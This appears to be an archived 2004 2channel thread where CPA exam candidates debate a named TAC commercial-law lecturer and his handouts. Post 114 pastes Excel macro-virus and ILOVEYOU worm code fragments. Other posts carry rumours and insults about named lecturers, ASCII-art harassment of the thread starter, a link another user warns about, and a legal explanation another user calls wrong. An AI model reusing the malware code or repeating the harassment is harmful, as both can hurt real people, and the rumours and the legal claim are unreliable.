5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

(受からん)阿部太郎限界説(だろ?)

1 :タックお願い:04/02/11 11:36 ID:TQxcc7Lp


   ってゆうかあのレジュメじゃぜっっったいうからん●
 誤植多いし、年々内容が無茶苦茶になってる…(二回目受験)第一やる気がかんじられない…

2 :一般に公正妥当と認められた名無しさん:04/02/11 11:40 ID:???
2get

3 :阿部太朗:04/02/11 23:23 ID:???
阿部太郎じゃなくて阿部太朗だよ

4 :一般に公正妥当と認められた名無しさん:04/02/12 00:30 ID:yXL8+5gI
TACで商法はコイタンだって

5 :一般に公正妥当と認められた名無しさん:04/02/12 00:30 ID:???
>>1
そうなの?おれは一度も受けたことないからよくわからん。
こいたん一筋

6 :一般に公正妥当と認められた名無しさん:04/02/12 00:34 ID:4i7OcB/n
しかし、レジュメで授業を進める以上、テキストに劣らない完成度の高いレジュメを
提供してほしいものですな。
あっ、タックのテキストを基準に考えないでね。

7 :一般に公正妥当と認められた名無しさん:04/02/12 04:16 ID:???
レジュメで授業を進めるのは講師の能力が低いからです。


8 :l:04/02/12 07:20 ID:???
アタックのテキストは弥永作成

9 :一般に公正妥当と認められた名無しさん:04/02/12 07:44 ID:HXrhWGgL
「リーガルマインド会社法(TAC版)」ですね

10 :一般に公正妥当と認められた名無しさん:04/02/12 08:10 ID:???
攻めのコイタン、守りのアベタン。


11 :一般に公正妥当と認められた名無しさん:04/02/12 10:07 ID:S5Ld9ylE
答練を見る限りではとくに阿部で問題ないけどな、
去年の論文みたいなのは例外だと思うが。

12 :一般に公正妥当と認められた名無しさん:04/02/12 12:19 ID:dP2ACZx4
個人名のスレってまずいだろさすがに

13 :一般に公正妥当と認められた名無しさん:04/02/12 15:06 ID:???
>>1は先生から訴えられる悪寒。弁護士用意しといたほうがいいよ。

14 :一般に公正妥当と認められた名無しさん:04/02/12 20:58 ID:???
その答練の問題を作っているのが阿部じゃないのか

15 :一般に公正妥当と認められた名無しさん:04/02/12 23:10 ID:???
>>1
実際多くの受講生が阿部で受かってるよ。
商法はそこそこに、他の科目に時間かければ?そういうスタンスなんだろうし。

俺は小飯塚一筋だけど、あの人のレジュメも誤植多いし、去年と言いまわしや
構成違ってて2年目以降の人間としては勉強しにくい等、不満はあるよ。結局どっちもどっち

どの講師だからとぶーたれず、与えられた課題をこなせばいいんじゃないかな

16 :一般に公正妥当と認められた名無しさん:04/02/12 23:14 ID:???
>>15
まともすぎて誰も反論できません

17 :一般に公正妥当と認められた名無しさん:04/02/12 23:36 ID:???
>>15
君、いったいどういうつもりだね。

18 :一般に公正妥当と認められた名無しさん:04/02/13 00:32 ID:KEW22Wu9
15の言うことが全く正解なので誰も反論できず、これでおしまいですな

19 :一般に公正妥当と認められた名無しさん:04/02/13 00:48 ID:???
 || ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄||
 ||
 || ○ このスレは板違いなので終了です。
 ||
 || ○ これ以降の書き込みは、削除されにくくなるので控えて下さい。
 ||
 || ○ 糞スレ放置にご協力お願いします。     Λ_Λ
 ||                            \ (゚ー゚*) キホン。
 ||                               ⊂⊂ |
 ||___ ∧ ∧__∧ ∧__ ∧ ∧_      | ̄ ̄ ̄ ̄|
      (  ∧ ∧__ (   ∧ ∧__(   ∧ ∧     ̄ ̄ ̄
    〜(_(  ∧ ∧_ (  ∧ ∧_ (  ∧ ∧  は〜い、先生。
      〜(_(   ,,)〜(_(   ,,)〜(_(   ,,)
        〜(___ノ  〜(___ノ   〜(___ノ


20 :一般に公正妥当と認められた名無しさん:04/02/13 00:54 ID:???
TAC商法の看板講師が2人揃ってテキストを使わない。
テキストの存在意義は一体なに?

21 :一般に公正妥当と認められた名無しさん:04/02/13 02:11 ID:XgHsilb8
テキストの存在意義は入門は短答の前座、上級はインテリア。
つーか経済も使わないジャン

22 :一般に公正妥当と認められた名無しさん:04/02/13 03:35 ID:???
俺の本棚にあるまっさらなTAC商法テキストを見て、
両親が心配になって家族会議をしたらしいw
で親父が遠まわしに「勉強やってるか?」ときいてきた。

阿部レジュメはボロボロなのに〜 ヽ(`Д´)ノ

23 :一般に公正妥当と認められた名無しさん:04/02/13 07:42 ID:???
大谷とか、俺は好きだぞ。

24 :一般に公正妥当と認められた名無しさん:04/02/13 10:08 ID:???
レックのC-BOOKが一番いいのに。

25 :一般に公正妥当と認められた名無しさん:04/02/13 10:59 ID:???
阿部って、確か神戸大学だったよな?
関学のライバルか。どうりでヤクザみたいな下品な口の利き方する訳だ。

26 :一般に公正妥当と認められた名無しさん:04/02/13 11:46 ID:???
影の実力者赤根講師が最強。

27 :一般に公正妥当と認められた名無しさん:04/02/13 11:51 ID:???
神戸商船大学です。

28 :一般に公正妥当と認められた名無しさん:04/02/13 12:37 ID:mibKum16
>>1
就職浪人にならないで済む
感謝せなあかん

29 :一般に公正妥当と認められた名無しさん:04/02/13 18:48 ID:???
とりあえず、商法で大きいアドバンテージ取らないと受かれない状態の>>1
試験の限界にきてるということで。

30 :一般に公正妥当と認められた名無しさん:04/02/13 20:15 ID:???
>>19
自治厨ウゼー
代行からしか削除依頼できないヘタレが、偉そうな口聞くなよ!


余裕のないヤツは、おとなしく勉強しとけ
( ゚д゚)、ペッ


31 :一般に公正妥当と認められた名無しさん:04/02/13 21:14 ID:bfBPmQy5
阿部って司法試験合格してるの?
以前の雑談でなんか言ってたけど。

32 :名無しさん@お腹いっぱい。:04/02/13 21:39 ID:???
会計士受験生と結婚したらしい

33 :一般に公正妥当と認められた名無しさん:04/02/13 22:08 ID:Fk5AIOmb
茜先生っていいらしいね。

34 :一般に公正妥当と認められた名無しさん:04/02/14 00:59 ID:???
>>25
阿部も小飯塚も中法

35 :一般に公正妥当と認められた名無しさん:04/02/14 06:04 ID:???
>>34
それが有力説

36 :一般に公正妥当と認められた名無しさん:04/02/14 15:05 ID:???
         ,. -- 、.,,_
     ,. ‐'⌒:::::::::::::::::::: :ヽ、
   v'::::::::::::::: :::     .:::::ヽ、_  【痛い知障>>1=>>30の正体】
  .7::::::::::::::  .;ト、::::::::::::::::::::::::::ド
  /:::::::::  .::::::ハ!. \:::ト、|l::;::::::Z
 ;':: ;.  .:::::::ハ:|    '"⌒゙'l |ヘ  「へへへへへ・・・僕のネタ面白い」
 |:::::::::::::|.l:::レ'     r'⌒ .「l
  ';::::::::::;レ'  , =、       .|′
  〉;:::_:ト.  l′   , 、     ! 【知障データ】小学6年生(低学年並みの知能)
    |.ト.、     _,...:'^!  /、  特徴:知障知障知障知障知障知障知障知障
    ` ー'ヽ、   ヽ- '´,.イ   ヽ   趣味:2ちゃん(最悪板 ヲタ板 厨房板、等に常駐する)
      /  l`` ヽ‐-イ__」    |  
    /    ゙、  /`-、   l.ノ 〉
   ,'   、   ヽ '′トイ   .|-ァ'
    |     |      L.!   .|"|
  〈     リ         .! !
    't::;;‐;ァ'7ニ>  _,   〈 .l
   |   ハ -ゝ  ̄`" ̄/ ,.イ .|
   !  !ケー- 、_     _/ |_リ
    |.  l.,'  /   ̄ ̄レ' _」
   l.  l,ヽ     ,イ_,...,,]
   ヽ 、lzト、  / ,/ { ` l′
    ``´.l  ヽ/'´  .l   |
       l   ;′  .ド.r;久
       |   /    `ヽ、_,)
       ユこh       ` ´
       .| `'´j!
      ヾ=彳


37 :一般に公正妥当と認められた名無しさん:04/02/14 17:30 ID:UoTl+wHv
商法の阿部先生か槙先生の講義、どちらを受講しようか迷ってます。
皆さんなら、どちらの先生にします?

38 :一般に公正妥当と認められた名無しさん:04/02/14 17:37 ID:40imkU2K
阿部が会計士受験生の商法のレベルを下げてくてるうちに
他の先生で受かればいいじゃん

39 :一般に公正妥当と認められた名無しさん:04/02/15 20:30 ID:xgEwOpKK
まぁ、実際一発合格してるようなヤシは阿部オンリーだけどね。

40 :]:04/02/15 22:54 ID:6x0Isd8y

みんなあの大量の誤植にどお対応してるの?

41 :一般に公正妥当と認められた名無しさん:04/02/16 11:41 ID:TQ4wWR+J
>>39 おまえな〜、それは一発合格したやつがスゴイだけだろ
だいたい一発合格者は阿部オンリーって根拠はあるの?

42 :一般に公正妥当と認められた名無しさん:04/02/16 12:20 ID:???
阿部レジュメで短答本試験9問はとれる。満点とりたければ
パワーアップ申込んだり、問題集買ってときまくればいい。
論文は阿部商法で落ちない答案を書くことは可能だと思います。
商法で上位5%以内に入りたければ小飯塚が必要となるかも。


43 :一般に公正妥当と認められた名無しさん:04/02/16 12:47 ID:duVT4KvW
去年のことは忘れて阿部を信じようぜ。

44 :一般に公正妥当と認められた名無しさん:04/02/16 13:56 ID:JKqayYqQ
何年か前、短刀の解答速報間違ったのって阿部ですか?

45 :一般に公正妥当と認められた名無しさん:04/02/16 19:51 ID:???
別にあべを擁護する気はさらさらないが(なんの特にもならんしな)
会計士試験における商法の重要性の低さを考えれば
あべで十分対応できると思うんだがな。

「商法でミスって落ちた」やつはいるだろうが
阿部の授業を受けているから
「商法の実力がつかずに合格答案が書けず他の講師を受講してる連中に負けた」
っていうやつはそんなにいないんじゃねーの。

46 :一般に公正妥当と認められた名無しさん:04/02/16 23:20 ID:???
結局、あれだろ、本当は勉強していない自分が悪いのに、それを認めるのが癪なもんだから
阿部にケチを付けているだけだろ。

文句があるなら別の講師なり予備校に変えればいい。

47 :一般に公正妥当と認められた名無しさん:04/02/17 01:02 ID:n8DYX9gT
商法ってみんなどんな勉強してるの?

48 :]:04/02/17 23:30 ID:zNlzwNH6

あの、夏上級なんですけど、合併の株式かいとり請求権がなぜあべれじゅめには
のってなのだ????

49 :一般に公正妥当と認められた名無しさん:04/02/17 23:33 ID:???
買取請求したくないから。
てか、それくらい既知ということだ。
受からんぞ、それじゃ。

50 :]:04/02/17 23:34 ID:zNlzwNH6

 てゆうか、なぜのせてないのかがしりたい。手抜きか…

51 :一般に公正妥当と認められた名無しさん:04/02/17 23:38 ID:njgo+EFx
関東はワタナベ先生いないから大変やね

52 :一般に公正妥当と認められた名無しさん:04/02/17 23:39 ID:???
おまえ、糞スレ立ててる暇あったら勉強しろ

53 :一般に公正妥当と認められた名無しさん:04/02/18 10:38 ID:???
阿部れじゅめは論点集だよ。基礎知識は当然知っているものとして割愛
してある。1回目の講義でも言ってたし。条文レベルの知識は条文を
参照するか、パワーアップをとりましょう。

54 :一般に公正妥当と認められた名無しさん:04/02/18 21:56 ID:???
>>1
プレゼント
http://2style.net/maido/R3_temp.swf?inputStr=%8E%A9%8D%EC%8E%A9%89%89%82%C5%83N%83%5C%83X%83%8C%82%F0%8F%E3%82%B0%82%C4%95K%8E%80%82%BE%82%C8%81B

55 :一般に公正妥当と認められた名無しさん:04/02/20 22:51 ID:iUDoX1oB
渡部、顔やばいぞ

56 :一般に公正妥当と認められた名無しさん:04/02/20 23:57 ID:fjwjBJQe
結局アベは司法受かってるの?
諸説飛び交ってるよね

57 :一般に公正妥当と認められた名無しさん:04/02/21 00:11 ID:???
阿部は中大法卒。司法崩れ(LEC)を経てTACの講師に。
小飯塚も中大法卒。民間企業に就職。会計士と結婚して退職。そしてTAC講師に。2次試験合格。
これが真実。もうええやろ、このネタええ加減うざい。

58 :一般に公正妥当と認められた名無しさん:04/02/21 00:44 ID:???
会計士を目指す方へ
期間限定、お得な情報。
http://cgi.f13.aaacafe.ne.jp/~chama/a13_0015.txt

59 :一般に公正妥当と認められた名無しさん:04/02/21 01:29 ID:d72cLcW7
>>58 これクリックするとなんか変なことになるぞ!!
注意!!!

60 :一般に公正妥当と認められた名無しさん:04/02/21 02:26 ID:AeEsxS7C
あべちゃん司法試験受かってるよ。
っていうかあべちゃんと呑んだことある人なら知ってるでしょ?
あの人よく生徒と酒飲んでるじゃん。

61 :一般に公正妥当と認められた名無しさん:04/02/21 07:05 ID:???
57が真実を言っちゃった。

62 :一般に公正妥当と認められた名無しさん:04/02/21 07:09 ID:???
まあ、超一流大を出て、司法試験に合格して、会計士の法律講座の講師をしてたらアホだよな。
司法試験講座ならまだしも。

63 :一般に公正妥当と認められた名無しさん:04/02/21 12:17 ID:eWVeWHv/
57と60どっちが真実?

64 :一般に公正妥当と認められた名無しさん:04/02/21 14:31 ID:???
あべたんは司法合格済み。こいたんは会計士補のままだったと思います。

65 :一般に公正妥当と認められた名無しさん:04/02/21 14:40 ID:LL8EsGOS
題が理解できない。

一番多くの合格者を輩出しているのは、彼であるんだから。

66 :一般に公正妥当と認められた名無しさん:04/02/21 18:13 ID:???
57が真実。

67 :一般に公正妥当と認められた名無しさん:04/02/21 20:45 ID:???
誰か付き合ってください。
http://profiles.yahoo.co.jp/mami_chuchu

68 :一般に公正妥当と認められた名無しさん:04/02/21 21:41 ID:fMKM1ST6
結局司法受かってないんだ。
アベってあんまり頭良さそうじゃないもんな


69 :一般に公正妥当と認められた名無しさん:04/02/21 22:19 ID:???
>一番多くの合格者を輩出しているのは、彼であるんだから。

Vや通信は彼が主なんだから多いのは普通では?


要は自分だろ?講師のせいにするなよ。お前ら。みっともない。

70 :一般に公正妥当と認められた名無しさん:04/02/21 22:24 ID:???
>>69
NGワードです。

71 :一般に公正妥当と認められた名無しさん:04/02/21 23:18 ID:???
          ____
         /:::::::::::::::::::::\
       /::::::::::::::::::::::::::::::::\
       |:::::::::::|_|_|_|_|_|
       |_|_ノ∪ \,, ,,/ ヽ
       |::( 6  ー─◎─◎ )  
        |ノ  (∵∴∪( o o)∴)
       |   <  ∵   3 ∵)
     /\ └    ___ ノ
       .\\U   ___ノ\
         \\_>>1_)  ヽ

--------------->>1の経歴-------------------------------------
小学校:病弱で「デブ」「ブタ」「オタク」といじめられつつも卒業。
中学校:中2のとき凄惨ないじめにあって自殺未遂を犯す。
高校:高1のときクラスの不良のリーダー格に標的にされる。
  以後、周辺の不良にリンチをくらう、中学時代のいじめっ子にも駅で待ち伏せされ金を取られる日々。
  高2の3学期までギャルゲーしかせず、留年しかけて学年末試験で猛勉強するも、平均57.3点止まり、
  担任の先生に呼び出されて「おまえ就職か?」と言われ、頭に来て担任にナイフを刺して停学。しかし留年は免れる。
  高3のときは悲しく半引きこもり(部活にも入ってない)で成績も常に平均以下で卒業。
浪人:予備校を前期で辞めて、ひたすら2ちゃんねる。学力が落ちる。
大学:なんとか中堅の私立大学に補欠合格しかしアキバにばかり行ってたので
   単位が足らず強制退学。
ヒッキー期間:8ケ月、現在進行中!!



72 :一般に公正妥当と認められた名無しさん:04/02/22 23:11 ID:???

ゴクローサン
楽しいか?

73 :一般に公正妥当と認められた名無しさん:04/02/23 22:42 ID:???
絶対に一度は見ておけよ。
http://www.albinoblacksheep.com/flash/you.html



74 :一般に公正妥当と認められた名無しさん:04/02/24 19:51 ID:F5IN5EzE
今日の応用答練に色々書いてあったな、先生見ているんじゃねーの、
先生受かったら可愛いおねーちゃんのいるお店に連れてってね。

75 :一般に公正妥当と認められた名無しさん:04/02/24 20:58 ID:???
>>74
詳細キボンヌ


76 :一般に公正妥当と認められた名無しさん:04/02/24 22:44 ID:???
応用答練の2回目でガム噛みながら喋ってなかったか?

77 :一般に公正妥当と認められた名無しさん:04/02/25 00:16 ID:l8ms7b6H
分からなかった、正直映像はあまり見ないし、
応用といっても簡単だよな、Bレジュメのおかげでかなーり商法出来る様になったぞ。

78 :一般に公正妥当と認められた名無しさん:04/02/25 00:25 ID:???
>>73
こういうの好きよ!!

79 :一般に公正妥当と認められた名無しさん:04/02/25 08:52 ID:???
hosyu

80 :一般に公正妥当と認められた名無しさん:04/02/25 23:40 ID:2IYC5Fkk
ねぇ16年版の六法買ってる奴がけっこういるけど、買い換えたほうがいいのかな?
15年版の六法持ってるんだけど、今日受けた商法応用1回目の自己株の211の3の1項って
1号2号に分かれてないんだけど、解答には1号2号分かれて論述されてるので、

試験用条文集をそのうち買うことになるから別いいのかなぁ?




81 :一般に公正妥当と認められた名無しさん:04/02/26 00:03 ID:???
ケチってたら、合格するものもできないぞ。
けちけちしたいなら、16年度を持ってるやつから、コピーさせてもらえ。

82 :一般に公正妥当と認められた名無しさん:04/03/03 07:29 ID:???
        ,,,--─===─ヽ/へ
      /iiiiiiiiiiiiii彡≡≡≡|≡ヾ ヽ
     iiiiiiiiiiiiiiiiiii彡≡≡≡≡|≡ミミヾ丶
    iiiiiiiiiiiiiiiiiiii/ ̄ ̄ ̄ ̄ ̄ ̄\ミiiiiiヽ
   iiiiiiiiiiiiiiiiii/             \iiiiiiiゞ
   iiiiiiiiiiii/                \iiヽ     
  iiiiiiiiiiiiiii《    ━━━'/  ヽ━━━ ヽミヽ
 ...iiiiiiiiii彡/      __,.::  :: __  ヽiiiii|
 ..iiiiiiiiiiiii》|             :::      |iiiii|
 iiiiiiiiiiiiiiii|,                     |iii|
..iiiiiiiiiiiiiiiiii,         ( ● ● )      .|iiii|  商法 商法 ♪
iiiiiiiiiiiiiiiiiiiiiii       》━━━━《       |iiiii|   しょほ しょほ 商法 ♪
iiiiiiiiiiiiiii《《《ヽ     》 / ̄ ̄\ 《     |iiiiiiii|     朝から商法 ♪
iiiiiiiii《《《《《《《《    《《 \ ̄ ̄/ 》》   |iiiiiiiiiii|
iiiiiiiiiiii《《《《《《《《《《《 》》   ̄ ̄  《《 》》》》》iiiii|
iiiiiiiiii《《《《《《《《《《《《《《《《《《《《》》》》》》》》》》》》》》iii|
iiiiiiiiiiiiiii巛巛巛巛巛巛巛巛巛》》》》》》》》》》》》》》IIII
iiiiiiiiiiiiiiiiiiiiii巛巛巛巛巛巛巛巛》》》》》》》》》》》》iiiiiii



83 :一般に公正妥当と認められた名無しさん:04/03/03 19:41 ID:???
キタァァァ(゚∀゚)ァ( ゚∀)ァ( ゚)ァ( )ァ(` )ハァ(Д`)ハァ(;´Д`)ハァハァ
http://amilala.blogspot.com

84 :一般に公正妥当と認められた名無しさん:04/03/03 23:13 ID:k8C1odIf
>>82
omoshiroi

85 :一般に公正妥当と認められた名無しさん:04/03/03 23:30 ID:GHYff3KE
>>82
つかの間の笑いをありがとう。ご苦労さん

86 :一般に公正妥当と認められた名無しさん:04/03/04 00:21 ID:???
今日、友達の待ちあわせの時間つぶしで本屋に寄った。
いわゆる商法の基本書でも読んでみよう、と立ち読みした。
いろいろな学説や受験商法の絡みの結果、抜粋したものがアベレジュメになってたんだな。
学説の背景が少しわかって面白かった。
基本書は受験用の知識として近道とは言えないが、興味や意欲を補完するのには意外と
プラスになると思った。

87 :一般に公正妥当と認められた名無しさん:04/03/10 19:51 ID:J5Bfkz+X
今でもレジュメに、ボーイミーツガール、とか書いてんの?

88 :一般に公正妥当と認められた名無しさん:04/03/11 11:51 ID:26hluusP
この間答練出たのだが、先生はデーブに似てるね。

89 :一般に公正妥当と認められた名無しさん:04/03/11 13:45 ID:ebOMvoNG
>>58
通報しました

90 :一般に公正妥当と認められた名無しさん:04/03/16 13:40 ID:3tl45/8z
就職浪人に受講料を返還する良心的な会計士専門学校があれば教えてください

91 :一般に公正妥当と認められた名無しさん:04/04/06 01:57 ID:bzcfui01
阿部レジュメで少し分からないところがあって、どうせならと大学図書館で一般向け・専門向け
両方で調べてみたのよ。
そしたら、商法の解釈って実はすごい融通きくんだな。
講義だと代取の無権代表だと利益衡量説・判例の2つぐらいだけど、その間にいろんな論理展開や
結論がありうるみたい。こんなの点数来るの?ってぐらいの(初めて見る)論理構成→結論があったりした。
答練でたまに全然ちがう結論書いちゃっても意外と点が来たりするのはこのためかもしれない。

最終的な結論より、引用条文や論理構成を整えるのが大事なんだね。

92 :一般に公正妥当と認められた名無しさん:04/04/06 08:06 ID:???
>>91
馬鹿発見

93 :一般に公正妥当と認められた名無しさん:04/04/06 11:08 ID:???
>>91
少数説を唱えても点数低いだろ。
試験は競争なんだから支持する説が違ったらそれだけで不利だ。

94 :一般に公正妥当と認められた名無しさん:04/04/06 11:57 ID:???
91はヴェテ当確

95 :一般に公正妥当と認められた名無しさん:04/04/06 12:44 ID:???
>>93 答練ではね、採点者のレベル低いから

96 :一般に公正妥当と認められた名無しさん:04/04/06 14:40 ID:???
あべは平均点ねらいのスタンスだろ。いまでいいじゃん
漏れ商法苦手だからすげえ助かってる

97 :一般に公正妥当と認められた名無しさん:04/04/06 16:10 ID:???
つーか商法は阿部レジュメを押さえて無難な解答しとけば平均以上は取れる。
あとは簿記と原計でどこまで高得点取れるかで勝負が決まる。

98 :一般に公正妥当と認められた名無しさん:04/04/06 16:19 ID:???
>>97 アホや、完全にタックのワナにはまってる

99 :一般に公正妥当と認められた名無しさん:04/04/06 16:43 ID:???
>>98
はぁ?
頭悪ィんかおまえw

100 :一般に公正妥当と認められた名無しさん:04/04/06 16:47 ID:???
>>99 盲目的にタックを信じてやってくれよ
3,4年後には受かるからさ

101 :一般に公正妥当と認められた名無しさん:04/04/06 18:45 ID:???
まだ3,4年後に受かるならいいね。
俺なんか・・・

102 :一般に公正妥当と認められた名無しさん:04/04/06 18:54 ID:???
個人名で、しかも名誉を傷つけるようなスレタイはヤバイだろ。
「絶対うからん」とかかいてるけどこれはもっとヤバイだろ。
業務妨害・名誉毀損で訴えられるんじゃねーの?
ヤバ伊予ヤバイよ。1ヤバイよ。削除以来だしとけよ。


103 :一般に公正妥当と認められた名無しさん:04/04/06 19:00 ID:???
>>1
タックの受け付けメールにこのスレのアド載せて、「これは本当ですか?」って質問してもいいかい?

104 :一般に公正妥当と認められた名無しさん:04/04/06 19:05 ID:???
>年々内容が無茶苦茶になってる…(二回目受験)
二回目で年々って言うか?

105 :mahkun:04/04/06 22:02 ID:wadQMUQd
でも、漏れは去年阿部のせいで、短刀商法6点、総合35点だった。責任
取れ。

106 :一般に公正妥当と認められた名無しさん:04/04/06 22:22 ID:9D3guYbj
担当なんか講師うんぬんじゃなくて自分の力でどうにでもなるだろ!って思ってる入門上がりです

107 :一般に公正妥当と認められた名無しさん:04/04/06 23:48 ID:PmRZRBfU
豚に真珠

ベテに阿部レジュメ



108 :一般に公正妥当と認められた名無しさん:04/04/07 03:31 ID:???
tumaranasugi

109 :一般に公正妥当と認められた名無しさん:04/04/07 21:05 ID:???
アベって司法受かってないもん
クソだよ

110 :よしくん:04/04/07 21:30 ID:/D0RKSEt
漏れは阿部のレジュメはいいと思う。まあ、商法なんて落ちない程度
に勉強すれば十分。第一、商法を戦略科目にする香具師はいない。
また、商法の出題者も司法試験より格下のたかが公認会計士試験に
マジで採点すると思えないし。

111 :一般に公正妥当と認められた名無しさん:04/04/07 23:02 ID:???
本当、いままで受かってるんだから平気だよ。
1は自分が低脳なのをアベちゃんのせいにしてるだけ

112 :一般に公正妥当と認められた名無しさん:04/04/08 01:58 ID:???
よしくんの主観を発表されてもな


113 :一般に公正妥当と認められた名無しさん:04/04/08 02:35 ID:TCMD4cCk
だから去年のことは忘れろ、あれは例外だ、今年はあんなことはないと信じるんだ。

114 :一般に公正妥当と認められた名無しさん:04/04/08 15:21 ID:???
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

THE END!!



115 :一般に公正妥当と認められた名無しさん:04/04/08 18:01 ID:???
>>113
去年は何があったの?

116 :000:04/04/09 23:55 ID:syNOifgm
郡山さん、今井さん、高遠さんを見殺しにするな!!!!!!!!!!!!!!!!

もう時間がありません。

あらゆる立場を乗り超え、スレ違いを乗り越え、
郡山さん、今井さん、高遠さんの命を救うため、
われわれに出来る限りのことをしましょう。

そこで提案ですが、2ちゃんねる全体を、
郡山さん、今井さん、高遠さんの救出スレ、書き込み、
もしくは自衛隊のイラク撤退を呼びかけるスレで埋め尽しましょう。
そして自衛隊のイラク派遣を支持するあらゆる団体に抗議のメールを送りましょう。
われわれが声をあげればきっと彼らを救うことができるはずです。



117 :一般に公正妥当と認められた名無しさん:04/04/10 00:04 ID:???
未成年者はともかく、
他の2人は自己責任だろ。

ハイリターン(名声・他人の取れない写真)をねらったんだから、
ハイリスクを負うのは当然。

なんて、どうでも良いけど、ランキング1位ですな・・。
http://startpage-cpa.com/cgi-bin/votec/votec.cgi?no=215

118 :一般に公正妥当と認められた名無しさん:04/04/10 00:04 ID:nbM2GqI+
自己責任

119 :一般に公正妥当と認められた名無しさん:04/04/10 00:33 ID:???
3馬鹿のせいで10万損した。

120 :一般に公正妥当と認められた名無しさん:04/04/10 01:59 ID:???


rtsp://shared.streaming.telefonica.de/spiegel/video/4052.rm


121 :一般に公正妥当と認められた名無しさん:04/04/10 02:03 ID:???
>>117
7位のZ武って誰だ!?

122 :一般に公正妥当と認められた名無しさん:04/04/10 03:16 ID:???
阿部さんバリバリの右翼っていってたからぶち切れだろうな3バカには

123 :一般に公正妥当と認められた名無しさん:04/04/10 08:48 ID:???
法律学は説得の学問です。

124 :一般に公正妥当と認められた名無しさん:04/04/10 22:07 ID:CPWAJEgG
>>97
こんなやつが簿記原型で点取れてるとは思えない。
周りの頭いいやつと同じように自分も頭いいと思っちゃう救い用のないタイプ
同時にあなたのおかげでタックの自習室は、レク大原が使い安いのでかんしゃもしとります

125 :一般に公正妥当と認められた名無しさん:04/04/10 22:37 ID:LVN7F/+j
ダメだ、ダメだ、って書いてる人に聞きたい。いったいどこがダメなのか、
何がダメなのか、そういうことを人を納得させられるレベルで教えてください。
直感とか感情で言ってる限り、まったく説得力がありません。
イラクで人質とられた親たちの発言と同レベルですね。

126 :一般に公正妥当と認められた名無しさん:04/04/10 22:50 ID:CPWAJEgG
>>125
本屋行って司法の問題集見てみ
他のとこはちゃんと模範解答作れる授業するよ

お前じゃ何が違うかもわからんかもしれんがな

127 :一般に公正妥当と認められた名無しさん:04/04/10 23:33 ID:LVN7F/+j
>126
やはりその程度の反論しかできないでしょうね。
感情的になりなさんな。
>>お前じゃ何が違うかもわからんかもしれんがな
これじゃあ誰も何もわかりませんよ。
どこに説得力があるのですか?



128 :一般に公正妥当と認められた名無しさん:04/04/11 00:55 ID:ZSb89f5A
商法ごときでウダウダ言う奴は永遠に受からない。

129 :一般に公正妥当と認められた名無しさん:04/04/11 01:25 ID:zdZggDdy
合格したかったら、簿記・経済・監査・財表だけやっとけ。

それで受かる。

130 :一般に公正妥当と認められた名無しさん:04/04/11 05:09 ID:6JH1p86y
それはない。

131 :一般に公正妥当と認められた名無しさん:04/04/16 09:34 ID:OCr6Ckdp
>>109
あべたんは司法うかってますよ。
もち会計士もうかってます。
つまりダブルライセンス。

講義がびみょーでも、話が面白いので許す。

132 :一般に公正妥当と認められた名無しさん:04/04/16 09:48 ID:???
??????????

133 :一般に公正妥当と認められた名無しさん:04/04/16 10:51 ID:???
>92〜94は論文落ちベテと見た。元試験委が言ってたけど,唱えた説が少数なのか
多数なのかは問題にならない。ただ、少数説は論証するのに手数がかかるから
少しでも漏れがあると論理構成がおかしくなって結果ボロボロになるだけ。
採点でも構成と論証がきっちりされてなければ逆に方向があってても点は低い。
自分は書けたと思って実は落ちるタイプだな。91が正解だよ。

134 :一般に公正妥当と認められた名無しさん:04/04/16 11:11 ID:???
そうなんだ。133さんありがとう。

135 :一般に公正妥当と認められた名無しさん:04/04/16 17:49 ID:???
>>131 だまされてるアホ発見

136 :よしくん:04/04/17 14:31 ID:QWH34v1B
民法典第三章 事務管理 第697条〜702条です。この掲示をご覧のすべての皆
さん!六法を見てください。しかとご覧下さい! 司法試験を勉強したことが
あるなら誰でも分かるでしょう!いいですか!無学文蒙なあなたのためにこん
な低次元な話をしたくないんだけど、法律用語で「事務管理」とは、一般的に
いうオフィスの事務管理とは全く意味が違いますよ!
法律用語での「事務管理」は「誰かを救出すること」です。
例えば私(甲)が勤務中に町を歩いていて、交通事故ではねられて意識不明の
重傷を負って倒れている人(乙)を見つけたとします。私(甲)には外国法人
との重要な商談の仕事があるにもかかわらず、人命救助のため止むを得ず、乙
を、とおりがかったタクシーに乗せ、一緒に病院に搬送したとします。このタ
クシー代2000円は私(甲)が負担しました。
そして、私(甲)はその事務管理行為のために3時間を費やしました。そして、
その遅刻のために取引先が、本国に帰国し、3000万円の商談がパーになってし
まいました。
このような場合、民法第702条に基づいて甲は、自らの事務管理行為費用の償
還を乙に請求できます。タクシー代2000円はもちろん乙に支払い義務がありま
す。また甲が自給2000円の労働者であった場合は、2000円×3時間=6000円の
費用額が査定され、また、パーになってしまった商談の機会損失を、乙は(判
例上その一部になると思われますが)請求があった場合支払わなければなりま
せん。
 民法典記載事項は一般法なので、仮に特別法がなくても、今回のイラクの件
の請求も法原は同様です。



137 :一般に公正妥当と認められた名無しさん:04/04/17 14:36 ID:???
↑なんか必死みたいだが、間違ってる。痛すぎw

138 :一般に公正妥当と認められた名無しさん:04/04/17 17:32 ID:???
あべは全答練の問題ばらしてたな
あそこまで言ったらさすがに誰でも気付くだろ

139 :一般に公正妥当と認められた名無しさん:04/04/18 06:16 ID:???
コイタンが司法受かってるとか嘘つくやつもいるけど目的はなんなの?

140 :一般に公正妥当と認められた名無しさん:04/04/18 07:53 ID:???
寝たいんだろう。

141 :一般に公正妥当と認められた名無しさん:04/04/19 02:27 ID:OsIvc9HV
寝たいよな (゚д゚)ハァハァ・・

142 :一般に公正妥当と認められた名無しさん:04/04/19 02:34 ID:OsIvc9HV
寝たいよな
(゚д゚)ハァハァ・・・

143 :一般に公正妥当と認められた名無しさん:04/04/19 17:28 ID:???
寝たい寝たい
(゚д゚)ハァハァ・・・

